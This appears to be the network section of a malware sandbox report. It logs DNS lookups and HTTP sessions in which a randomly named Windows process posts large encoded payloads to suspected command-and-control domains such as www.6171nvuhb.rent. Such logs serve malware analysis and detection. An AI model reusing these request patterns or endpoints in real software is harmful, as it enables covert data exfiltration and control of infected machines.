Jul 3, 2024 17:41:04.461167097 CEST	1.1.1.1	192.168.11.20	0x9653	No error (0)	www.selllaptop.org	selllaptop.org		CNAME (Canonical name)	IN (0x0001)	false
Jul 3, 2024 17:41:04.461167097 CEST	1.1.1.1	192.168.11.20	0x9653	No error (0)	selllaptop.org		3.33.130.190	A (IP address)	IN (0x0001)	false
Jul 3, 2024 17:41:04.461167097 CEST	1.1.1.1	192.168.11.20	0x9653	No error (0)	selllaptop.org		15.197.148.33	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

www.costmoon.com

www.6171nvuhb.rent

www.motorsportgives.com

www.orthonow.live

www.musiccitysauce.com

www.lakemontbellevue.com

www.vintagewins.com

www.spotluv.xyz

www.olhadeputat.com

www.voupeclients.com

www.fundraiserstuffies.com

www.paliinfra.com

www.selllaptop.org

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.11.20	49773	74.208.236.38	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:34:51.075294971 CEST	520	OUT	GET /9m56/?_B7=LxyxWrj8kri0gh&vX=wSNNrhltoDErcnEzxm9/w28Dp1eoX3XTDY+0HSDY/xjQqFM+lgiwoO0LpiVzuA8Bz+prc1fM5Kq2+VzXMkRPAHQ+fn8FfBllirngXHZ4XxgzDhA7JZPwDGY= HTTP/1.1 Host: www.costmoon.com Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10
Jul 3, 2024 17:34:51.209486008 CEST	770	IN	HTTP/1.1 404 Not Found Content-Type: text/html Content-Length: 626 Connection: close Date: Wed, 03 Jul 2024 15:34:51 GMT Server: Apache Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 0a 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 65 6e 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0a 20 3c 68 65 61 64 3e 0a 20 20 3c 74 69 74 6c 65 3e 0a 20 20 20 45 72 72 6f 72 20 34 30 34 20 2d 20 4e 6f 74 20 66 6f 75 6e 64 0a 20 20 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 3e 0a 20 20 3c 6d 65 74 61 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 [TRUNCATED] Data Ascii: <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN""http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html lang="en" xml:lang="en" xmlns="http://www.w3.org/1999/xhtml"> <head> <title> Error 404 - Not found </title> <meta content="text/html; charset=utf-8" http-equiv="Content-Type"> <meta content="no-cache" http-equiv="cache-control"> </head> <body style="font-family:arial;"> <h1 style="color:#0a328c;font-size:1.0em;"> Error 404 - Not found </h1> <p style="font-size:0.8em;"> Your browser can't find the document corresponding to the URL you typed in. </p> </body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.11.20	49774	142.202.6.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:17.093039036 CEST	788	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 199 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 53 33 4c 58 75 4e 6a 30 32 38 72 30 69 38 76 63 2f 42 30 2f 79 43 66 34 47 66 46 73 45 4b 75 31 79 79 61 67 34 34 53 56 67 46 2b 62 32 41 2f 70 59 79 6b 4f 77 66 4c 77 61 70 4b 4c 36 37 76 6c 72 62 44 72 58 6b 62 6b 45 78 37 41 32 61 56 41 66 6d 4e 62 6d 45 6b 37 52 78 31 38 34 74 68 6e 2b 79 2b 5a 6b 42 50 6d 4d 6d 57 6b 4b 6f 72 6b 45 73 66 42 2b 49 76 74 51 6b 74 6c 79 50 4f 4c 32 7a 55 39 52 74 44 30 38 56 42 6f 68 5a 69 41 70 62 4c 76 46 54 49 4b 59 59 2b 67 4b 62 31 58 53 61 66 54 6b 32 65 6c 50 49 45 4c 67 45 4a 4b 46 76 2f 31 58 41 3d 3d Data Ascii: vX=X5xwEotSV/RSS3LXuNj028r0i8vc/B0/yCf4GfFsEKu1yyag44SVgF+b2A/pYykOwfLwapKL67vlrbDrXkbkEx7A2aVAfmNbmEk7Rx184thn+y+ZkBPmMmWkKorkEsfB+IvtQktlyPOL2zU9RtD08VBohZiApbLvFTIKYY+gKb1XSafTk2elPIELgEJKFv/1XA==
Jul 3, 2024 17:35:18.260947943 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:35:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.11.20	49775	142.202.6.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:19.814647913 CEST	1128	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 539 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 55 6e 37 58 74 71 50 30 6d 73 72 31 74 63 76 63 74 42 30 37 79 43 54 34 47 66 74 61 44 38 47 31 79 51 43 67 71 70 53 56 68 46 2b 62 2b 67 2f 73 63 79 6b 48 77 66 57 44 61 74 43 4c 36 2f 48 6c 71 75 58 72 47 45 62 6a 4d 52 37 48 78 61 56 42 4f 32 4e 52 6d 45 6f 6e 52 30 56 38 34 62 56 6e 35 33 69 5a 67 51 50 6e 4c 47 57 69 64 59 72 6c 66 63 66 31 2b 49 53 59 51 67 68 66 79 39 53 4c 31 58 59 39 53 74 44 7a 32 6c 41 67 70 35 6a 57 34 36 32 68 49 69 59 70 65 6f 32 2b 54 4b 4a 4a 52 71 6e 4e 71 77 61 57 65 4b 6b 53 6f 58 55 61 51 65 54 34 43 77 30 43 65 6b 50 51 52 31 54 47 69 43 53 70 31 6a 46 32 41 56 6c 4b 44 2f 34 54 4f 64 4b 73 70 4c 54 67 74 4a 5a 55 73 7a 67 63 37 35 61 55 56 61 36 6f 4f 4d 6a 76 54 6c 43 52 4a 4f 36 6d 59 59 43 5a 37 50 75 47 6f 66 51 61 42 55 64 58 6a 35 78 56 70 4c 70 49 4e 56 4c 5a 6f 6e 62 58 65 4a 4a 63 55 5a 67 39 62 46 45 47 30 6c 55 68 6d 35 71 6f 59 6b 47 6f 34 75 44 45 54 67 6f 38 32 6e 71 64 4c 72 6a 48 69 4f 47 77 54 65 5a [TRUNCATED] Data Ascii: vX=X5xwEotSV/RSUn7XtqP0msr1tcvctB07yCT4GftaD8G1yQCgqpSVhF+b+g/scykHwfWDatCL6/HlquXrGEbjMR7HxaVBO2NRmEonR0V84bVn53iZgQPnLGWidYrlfcf1+ISYQghfy9SL1XY9StDz2lAgp5jW462hIiYpeo2+TKJJRqnNqwaWeKkSoXUaQeT4Cw0CekPQR1TGiCSp1jF2AVlKD/4TOdKspLTgtJZUszgc75aUVa6oOMjvTlCRJO6mYYCZ7PuGofQaBUdXj5xVpLpINVLZonbXeJJcUZg9bFEG0lUhm5qoYkGo4uDETgo82nqdLrjHiOGwTeZbqdAHT6UK0NhJqiQRy/xqbLZfbb4Kw+rSFCu1jHJvJv5GEQgm0HVdQiHnmQ+LIgopDfvBvjG9rbCWcAgynPR09MduvdjS8Txb0/VIkJnZW5l5iauu0CgPd0VSMF36X2ep1FVt8QNnkdnnSK0JFdb7OVByx+nZjjMFCjrj7sfjxflgAqLvl4J8ud5x5JLNnXHbwmM3Vvo=
Jul 3, 2024 17:35:20.974178076 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:35:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 71 aa d4 41 5e 18 06 68 22 9a c5 15 61 65 de 08 3b f9 31 30 4d c6 12 db 77 99 43 fb 03 87 3a 5e df e1 1e 65 51 12 c1 8d cf 70 13 a9 81 95 e7 a8 8f 5c 9d 20 e5 f4 db 9a 3e ae 68 ce ff 80 6f cc 70 88 c0 4d 92 03 15 90 d6 aa 8c 39 d4 49 72 a1 a6 3c 29 05 d7 d2 bc 87 24 24 79 ec 6a f0 3f ab c7 07 5d b7 74 fd 77 81 df a3 6d 9f [TRUNCATED] Data Ascii: 1f2So0$\|QM}r%5[6Zw;H2b)1[/,d;Y.5FR16?EI JgI\|92`[a7hq:_@4WhW-Pc`y*>Fp8qA^h"ae;10MwC:^eQp\ >hopM9Ir<)$$yj?]twm^zXymoW"6\|q.aqPs~JRJS8%aaIUf5k\|6f@ z}jl@]i{s[".7i0`Hq!\|(Y7B0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.11.20	49776	142.202.6.230	80	7100	C:\Program Files (x86)\QDDYBUsOSIrUnKhQnRdQSkpzAmPBgXmqwzgPDIagYOtvjhNrDkkLmcM\jFlHFdZgIYNZqR.exe

Timestamp	Bytes transferred	Direction	Data
Jul 3, 2024 17:35:22.534113884 CEST	6445	OUT	POST /hqcp/ HTTP/1.1 Host: www.6171nvuhb.rent Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.6171nvuhb.rent Referer: http://www.6171nvuhb.rent/hqcp/ Content-Length: 52927 Connection: close Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit/534.59.10 (KHTML, like Gecko) Version/5.1.9 Safari/534.59.10 Data Raw: 76 58 3d 58 35 78 77 45 6f 74 53 56 2f 52 53 55 6e 37 58 74 71 50 30 6d 73 72 31 74 63 76 63 74 42 30 37 79 43 54 34 47 66 74 61 44 38 4f 31 79 6a 4b 67 34 61 36 56 69 46 2b 62 77 41 2f 74 63 79 6c 46 77 66 4f 63 61 74 47 62 36 39 2f 6c 71 2f 48 72 47 57 6a 6a 4a 52 37 43 74 4b 56 50 66 6d 4e 46 6d 45 6b 4e 52 30 42 4b 34 72 4a 6e 2b 77 6d 5a 6c 6a 6e 6d 52 32 57 6b 64 59 72 68 4f 4d 66 58 2b 49 6d 49 51 67 6c 66 79 2b 32 4c 33 6c 51 39 42 75 62 7a 2f 56 41 76 6e 5a 6a 4e 69 4b 32 41 49 69 38 39 65 6f 32 75 54 4c 4e 4a 52 74 7a 4e 72 33 47 56 65 71 6b 53 6d 33 55 5a 42 4f 65 2f 43 77 34 61 65 6e 54 51 52 31 4c 47 6a 69 53 70 6c 58 5a 31 48 31 6c 4d 48 2f 34 36 59 74 33 41 70 4c 58 53 74 49 39 55 74 44 63 63 30 6f 61 55 47 4c 36 6f 41 4d 6a 74 4f 56 44 4c 43 75 36 41 59 5a 7a 6c 37 4d 6e 78 6f 59 49 61 41 32 56 58 6d 59 78 61 67 4c 70 4f 49 56 4c 4d 73 6e 48 54 65 4a 59 44 55 5a 67 58 62 42 55 47 7a 55 6b 68 33 4e 47 72 62 30 48 42 73 65 44 4b 61 41 73 71 32 6e 65 46 4c 6f 7a 70 69 50 53 77 51 2b 5a [TRUNCATED] Data Ascii: vX=X5xwEotSV/RSUn7XtqP0msr1tcvctB07yCT4GftaD8O1yjKg4a6ViF+bwA/tcylFwfOcatGb69/lq/HrGWjjJR7CtKVPfmNFmEkNR0BK4rJn+wmZljnmR2WkdYrhOMfX+ImIQglfy+2L3lQ9Bubz/VAvnZjNiK2AIi89eo2uTLNJRtzNr3GVeqkSm3UZBOe/Cw4aenTQR1LGjiSplXZ1H1lMH/46Yt3ApLXStI9UtDcc0oaUGL6oAMjtOVDLCu6AYZzl7MnxoYIaA2VXmYxagLpOIVLMsnHTeJYDUZgXbBUGzUkh3NGrb0HBseDKaAsq2neFLozpiPSwQ+Zbu+oAZKUNo9hb3SRHy/8FbPIkavwKi+bSTyu2yXJrCP5AAQgm0HRjQiLnmlaLG3EpGI7BjDG/rbCLcAtCnPZr9MMDvY7S8GVbkq4e0JncUJk79Kz40DMHdwwpP3j6W2Opj1Vi3gNgjdm+DaoFFdGOOV1ix+PZvV1JaAm6v+T11e9lGJTki6xjtLt8ytjJvFb20mwJAZLCj+D29IuqglmIHNpLMiEebe4Dqp+O/IiXVUlBX+jaEUXTDCwQCxoO5RdqgYedSNjx288kTRHF1zoRfxaglzcZTCf1OlJ0YGQbXgTI6FB/FnOkRf6w1cZ7hGJ3ht1jWnRzhBWLtx+NPRy+owDpGkyR7XCoVlNmXDez81U/JmNPYQCQNkcKV0UoZdOvV/Q5KRxtPbWFtamEDvkM4NH1fTwYgjfzBsNnOVSqqevioRiPfZr0RO8aagkSowbhenGyMla+Jz+yME7MEYK/2LbxsuPHpybQWTGI2jm/DL8Gtl+bT1tbaS9BDZ9+RbbOe8AN6K/7pplL6vM1/rQz0a2VbYl07bz6OXsVhyf+abAoGhry7jiBDXG2aAz6HMGzow+6jY4/CNVhTnxsp91yfZDlYIqigH30SauR3QkTdfocegPgqcDMlsw5/Dc6Iwp6pbQ7pJYR8x9YQWoUOcElnYTvUpHvgCae9 [TRUNCATED]
Jul 3, 2024 17:35:22.534220934 CEST	6445	OUT	Data Raw: 44 45 6a 72 55 4e 71 63 64 72 6a 78 74 71 6f 61 78 71 46 52 33 68 6b 38 41 38 2b 37 57 45 2b 75 71 46 7a 68 6d 4c 76 48 39 41 49 58 47 4a 47 56 49 79 41 6f 38 47 59 44 37 4a 69 4f 7a 37 33 70 6f 36 58 58 46 4c 32 58 2f 49 4c 64 2b 39 41 49 70 32 Data Ascii: DEjrUNqcdrjxtqoaxqFR3hk8A8+7WE+uqFzhmLvH9AIXGJGVIyAo8GYD7JiOz73po6XXFL2X/ILd+9AIp2eq9WIxB/u7YXKeeVlUeaFnTt+CKJETriQR/XjsyM+HQTxpAMXOtl3g5xQQQ4a51BnUgUmdIC0W729Q5+RhCMSrVtwkthsrRuNOBi8MMj8D7IMeqH3omytm9D3IY7MvXRUQcAmHqXasLVsXlHEEusZxxsXC/AP+N+8
Jul 3, 2024 17:35:22.703665972 CEST	2578	OUT	Data Raw: 4b 4d 6b 70 58 2b 4a 57 72 30 68 52 4b 53 6e 72 72 6a 4a 48 72 30 68 72 6f 4e 4e 78 36 7a 78 4f 6f 74 2f 65 50 49 46 30 44 56 78 6a 6f 54 31 71 4b 58 61 56 32 36 44 47 7a 59 78 43 34 55 61 54 4d 35 32 77 64 2f 58 55 50 73 71 38 59 34 38 31 64 4f Data Ascii: KMkpX+JWr0hRKSnrrjJHr0hroNNx6zxOot/ePIF0DVxjoT1qKXaV26DGzYxC4UaTM52wd/XUPsq8Y481dOPbbfIG/OCrhj14ZbAcXtPTqMIDu16x+5pyZedwzrZml+7JzNgJSbtwbK5quIfJ1NMA9NT1VxvQP6l5v0M/C/0uZBJyPpBQ4y08WCWqGNsCgsZ/mAVBjVspMAwMZYlQ8MGc76cJ6PwwF/Iyn5vKLpWgBpiN9IZ9xry
Jul 3, 2024 17:35:22.703921080 CEST	16757	OUT	Data Raw: 69 6b 34 36 5a 31 79 56 6d 79 75 2f 4d 78 64 44 6d 2f 62 4a 73 53 37 42 50 62 46 79 54 4b 37 46 57 73 4a 42 2b 4e 4b 50 2f 35 56 69 32 49 6a 44 65 59 6b 33 32 77 52 2b 51 67 52 54 76 37 71 77 7a 6c 76 45 30 69 6a 61 44 6e 68 50 71 4b 44 52 68 31 Data Ascii: ik46Z1yVmyu/MxdDm/bJsS7BPbFyTK7FWsJB+NKP/5Vi2IjDeYk32wR+QgRTv7qwzlvE0ijaDnhPqKDRh1lCD1NnQ0xVBU83JTCINK+Qx+/g4jIvA4jLI1OCwF6S6C25DNvvejJ4JpGwL05N/BqVgtUkufiDpCHugURijPn53WVzsVUfndRjLcMS5Q1PnPU0MzCvTZWmXY5DK0sr82mMCNslcoiOGGsZJS8VnclBiBV1B1sP23k
Jul 3, 2024 17:35:22.704051018 CEST	1289	OUT	Data Raw: 35 35 45 41 75 4b 66 67 79 61 35 53 6d 67 6d 43 62 5a 45 64 6e 68 62 56 56 75 66 35 6e 45 67 70 4a 38 52 66 4b 36 63 36 46 69 76 64 75 4e 68 69 6f 51 65 4f 55 72 55 71 32 66 6d 58 77 7a 36 62 77 56 4f 48 50 53 4b 4e 47 48 33 57 52 70 36 67 45 4e Data Ascii: 55EAuKfgya5SmgmCbZEdnhbVVuf5nEgpJ8RfK6c6FivduNhioQeOUrUq2fmXwz6bwVOHPSKNGH3WRp6gENX+oJfNEGOyxKYPntyGYGciyERcv1LlVR2wTFq9eDeQdZwFiBeEZVkgA1iqQpo2S2QWM2Q9Y3buvdxlMQwyu32yJmUmNXJ5hzP3cFPcQl57NdFmmWrO9qA9tUGEB36hvcT1/ETW2WULHp7rOqSEAbnZXjzpyOKJcuk
Jul 3, 2024 17:35:22.704210043 CEST	3867	OUT	Data Raw: 56 68 67 56 74 4d 6a 2b 61 61 2b 4c 72 72 78 42 35 6e 76 6a 41 55 65 37 38 74 45 53 46 74 41 68 5a 62 6f 65 33 6a 56 44 35 50 45 44 2f 42 66 64 59 66 35 53 4e 55 69 2b 61 31 32 75 4d 59 4a 41 41 68 4f 56 43 2f 79 61 69 58 47 6a 7a 4f 45 35 34 58 Data Ascii: VhgVtMj+aa+LrrxB5nvjAUe78tESFtAhZboe3jVD5PED/BfdYf5SNUi+a12uMYJAAhOVC/yaiXGjzOE54X3QgoROnlgDw+usiscWqtjzhbJfTa27JkC3jvBjy4t7x5WX/zKfS563TD+17dp3+BHy/P2qYUIq7nOvzzPAGwMuQ0Srwq5aL1SJpElHkBSlfGA7aNzmkymYhpZroTeIXr360KvQano+6HPkeO36Y0+Xl3JkRXpM8Si
Jul 3, 2024 17:35:22.704375982 CEST	1289	OUT	Data Raw: 45 64 34 5a 6f 52 46 46 37 67 5a 54 47 64 51 73 55 75 38 53 7a 78 62 70 65 44 38 37 46 55 36 5a 30 76 51 6b 46 6a 58 32 37 69 42 4a 65 5a 75 5a 38 2b 51 35 6e 46 4c 2f 61 66 42 6d 50 2b 70 6c 30 71 6b 6e 50 2f 70 2f 44 57 6a 68 59 32 35 33 6c 74 Data Ascii: Ed4ZoRFF7gZTGdQsUu8SzxbpeD87FU6Z0vQkFjX27iBJeZuZ8+Q5nFL/afBmP+pl0qknP/p/DWjhY253lt2zxYq3XO8lBYs/D/13mnHKeDy5Tl4OPRmwDJJ/xgd+4SMnPL89PTbaEEfMOBl7sT79asRNuFmBFRNXCHSojwnCzhlWXUAqm23zwNWUghJGswxh/OiAzJouJc0373VkczXvnvTdWLNsbcCLKd809zsB04TG51YTb0L
Jul 3, 2024 17:35:22.872997046 CEST	2578	OUT	Data Raw: 58 57 62 54 34 54 62 78 6c 57 31 74 79 73 75 49 59 65 72 49 49 6d 51 6a 6b 55 4d 4e 2b 6f 75 72 6f 46 51 66 38 7a 6e 45 75 79 4f 6e 34 4a 33 67 6d 44 76 35 53 79 4f 75 77 74 31 58 70 53 4e 39 41 70 30 32 48 34 54 31 7a 34 39 53 53 48 43 59 67 72 Data Ascii: XWbT4TbxlW1tysuIYerIImQjkUMN+ouroFQf8znEuyOn4J3gmDv5SyOuwt1XpSN9Ap02H4T1z49SSHCYgrZuFOdlskvTex5nQM9deusUic8ivZcQsR8Tcjxw2SgZCKJ9KAW77cNzLqWMxyvBCXXiULH/uGrNB3yFAvan63GlFn9/98Vt5BUx+mvohe+9pWcYy2LHYOAcbcEE7gbSTIuIg9H3O1uIswJEhXInKyCbd2kNZN+NrpK
Jul 3, 2024 17:35:22.873162031 CEST	5156	OUT	Data Raw: 45 6e 33 4d 62 38 6c 76 4d 71 7a 63 4e 75 4a 6c 59 31 48 63 4d 44 4d 65 65 59 7a 78 62 4d 30 57 78 68 71 61 4f 61 64 66 59 4b 32 34 34 35 2f 35 61 4b 50 4c 34 74 6d 44 75 35 46 4c 65 75 74 57 5a 6f 35 43 65 2b 2b 31 54 44 43 53 5a 4f 31 53 37 53 Data Ascii: En3Mb8lvMqzcNuJlY1HcMDMeeYzxbM0WxhqaOadfYK2445/5aKPL4tmDu5FLeutWZo5Ce++1TDCSZO1S7S3y7+2GcsQd34zXCx6lYORHV1f6AH3lRjGV6qHxDuNZCCSgepah+2IMqwX62DAMYWL1Sp+PTkp8E8d2WJ/3jw163JgfgIPf7WmMeEMkdGWiqiA4xicyqKSnk7F3nRfdeIq2jYVCjjH7omptjmatgRFZKLxuVN3be9a
Jul 3, 2024 17:35:22.873330116 CEST	5156	OUT	Data Raw: 52 4c 63 57 54 33 36 31 64 72 78 70 61 62 57 66 76 79 76 52 43 39 52 6c 79 6f 61 68 78 38 62 65 56 58 59 4c 6d 4a 46 67 75 35 41 34 47 30 6e 38 4a 79 34 45 38 35 53 45 46 51 72 52 50 79 70 51 4a 32 35 56 58 47 55 58 57 31 76 6c 6b 4a 51 39 32 33 Data Ascii: RLcWT361drxpabWfvyvRC9Rlyoahx8beVXYLmJFgu5A4G0n8Jy4E85SEFQrRPypQJ25VXGUXW1vlkJQ923biJYIHZQtIKjKPEJAncuyWh2Nuz4nZIBDzQ7An+sOVfXjZK8+H9/v4Dl3tOCq5qlC02WnrbeGoyJQvD3sqO+vmpoRXnd9JiY4dpG9HI63IoCK+Gbkld9ILW+gbJGkN89ugj1aCOta/6rRCcs0fJ7ZyjpY9VFyh7IL
Jul 3, 2024 17:35:22.873662949 CEST	1958	OUT	Data Raw: 2f 63 64 77 45 71 30 72 5a 42 2b 75 76 4c 50 48 6f 55 7a 47 63 62 55 34 37 6d 72 51 6a 4b 77 67 52 6f 38 46 52 34 43 42 69 2b 39 35 68 54 37 37 5a 43 4d 74 69 74 79 4d 77 4d 39 50 4e 2f 71 63 44 54 71 64 46 48 69 6a 41 5a 79 6c 70 58 75 64 2b 42 Data Ascii: /cdwEq0rZB+uvLPHoUzGcbU47mrQjKwgRo8FR4CBi+95hT77ZCMtityMwM9PN/qcDTqdFHijAZylpXud+B+zdSnUXjfGqnC0ZIJhxr/precUaFJy9AyrRB3PdSxYHzxmEG6M6aeJFjZXckqVAZFKNnA8qG5sU1RiKdEz9EWRsUOb9YInUbzoUzhLbCE9LFQb7ZAr0tN4J976IfWsXmFf/2iyG0jf1Now55NpN66XEOKem5TzJRm
Jul 3, 2024 17:35:24.045949936 CEST	715	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 03 Jul 2024 15:35:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding Content-Encoding: gzip Data Raw: 31 66 32 0d 0a 1f 8b 08 00 00 00 00 00 00 03 cd 53 dd 6f da 30 10 7f e7 af f0 fc 14 24 e2 7c 92 84 02 9d 80 81 d4 0e 51 4d a5 7d a1 11 72 1c a7 09 25 09 b2 9d 35 5b cb ff be cb c2 36 b4 ee b9 5a a4 cb f9 ce 77 f7 3b df c7 48 32 91 1d 14 62 29 15 92 ab 31 be 5b 2f f4 00 a3 2c 1e e3 e5 64 3b bb 59 2e e7 b3 35 46 52 b0 31 36 0c 19 3f 91 be 45 f6 d4 d8 49 1d 04 fd 20 4a 92 67 05 d9 49 7c 39 32 da 60 97 9d d1 e9 b0 9c 90 ac c8 94 f6 92 c5 17 d8 b9 9a ca fb 5b 61 d7 37 93 d9 d5 fd f5 1d ee b1 a7 7f 68 8f dd b7 71 3a 5f a9 40 db 34 57 68 dc b2 d7 57 b4 09 87 1d 2d a9 0a a6 b2 b2 d0 ba e8 a5 83 50 63 96 e6 60 14 97 ac ca 79 a1 08 13 9c 2a 3e df f3 46 d2 70 9b 17 ee 0e c1 38 cd 09 bc 0a 8c 